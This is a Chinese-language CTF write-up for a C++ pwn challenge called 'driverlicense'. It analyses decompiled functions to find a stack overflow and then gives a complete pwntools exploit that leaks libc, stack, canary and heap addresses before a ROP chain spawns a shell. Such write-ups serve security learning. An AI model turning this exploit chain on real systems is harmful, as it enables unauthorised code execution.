driverlicense

一个 C++PWN

源文件是这个

分析 edit 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 __fastcall edit(__int64 a1)
{
__int64 v1; // rax
__int64 result; // rax
void *ptr; // [rsp+10h] [rbp-10h]
size_t v4; // [rsp+18h] [rbp-8h]
// 将传入参数转化为标准c字符串,并将地址赋值给ptr
ptr = (void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(a1);
// 分配一块空间,大小为v4
v4 = malloc_usable_size(ptr);
if ( v4 )
{
// 输出 即 cout << "Input new comment >> ";
std::operator<<<std::char_traits<char>>(&std::cout, "Input new comment >> ");
// 输入
result = input((__int64)ptr, v4);
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Edit failed.");
result = std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return result;
}

注意到,如果v4很大,可能可以造成溢出

分析 main 函数

注意到 Line 35,v17被赋值为v16v16是 comment 的内容

也就是,edit函数将会编辑我们初始化中的 comment

注意到 ELF 使用 C++的iostream,若输入的字符串长度小于 8,将被保存在栈上;否则在堆上

故初始化时 comment 长度应当小,使之被保存在栈上。通过 edit 函数漏洞造成栈溢出

注意到 Line64、65 的std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string,是 free 函数

也就是说相关位置的指针必须指向 heap 的相关位置

同时注意到 Line19,文件开启了金丝雀保护

分析 show 函数

本质上是读取堆内内容并输出

但是结合上文,栈溢出后可以覆盖到 name 的堆地址,即任意读取

思路

  1. 可见,栈溢出通过 0x10 的偏移可以覆盖到 name 的堆地址,再结合 show 函数泄露需要的内容

  2. 由于std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(或者看成free)存在,需要复原被栈溢出覆盖的堆地址

由此我们可知需要泄露的内容有:

  1. libc 基址
  2. heap 基址
  3. stack 基址
  4. canary

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64

def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

context(os='linux', arch='amd64', log_level='debug')
p = process('./driverlicense')
#p = remote('node4.anna.nssctf.cn', 28414)
elf = ELF('./driverlicense')
#libc = ELF('./libc-2.27-x64.so')
libc = ELF('./libc-2.23.so')

def update(data):
sla(b'>> ', b'1')
sla(b'>> ', data)
def show():
sla(b'>> ', b'2')

sla(b'>> ', b'a'*0x20)
sla(b'>> ', b'1233')
sla(b'>> ', b'a'*6)

# leak libc_base
update(b'a'*0x10 + p64(elf.got['read']))
show()
libc_base = get_addr() - libc.sym['read']

# leak stack
environ = libc_base + libc.sym['__environ']
update(b'a'*0x10 + p64(environ))
show()
stack = get_addr()

# leak canary
update(b'a'*0x10 + p64(stack - 0x110))
show()
rl(b'Your name : ')
canary = u64(p.recv(8))

# leak heap_addr
#gdb.attach(p, 'b *0x401190')
update(b'a'*0x10 + p64(stack - 0x1b8))
show()
rl(b'Your name : ')
heap_addr = u32(p.recv(4))

# pwn
rdi = 0x401713
ret = 0x400df1
system, binsh = get_sb()

#gdb.attach(p, 'b *0x40148f')
update(p64(canary)*2 + p64(heap_addr + 0x50) + b'a'*0x20 + p64(canary) + b'a'*0x18 + p64(ret) + p64(rdi) + p64(binsh) + p64(system))
sla(b'>> ', b'0')

print(' heap_addr -> ', hex(heap_addr))
print(' canary -> ', hex(canary))
print(' stack -> ', hex(stack))
print(' libc_base -> ', hex(libc_base))
inter()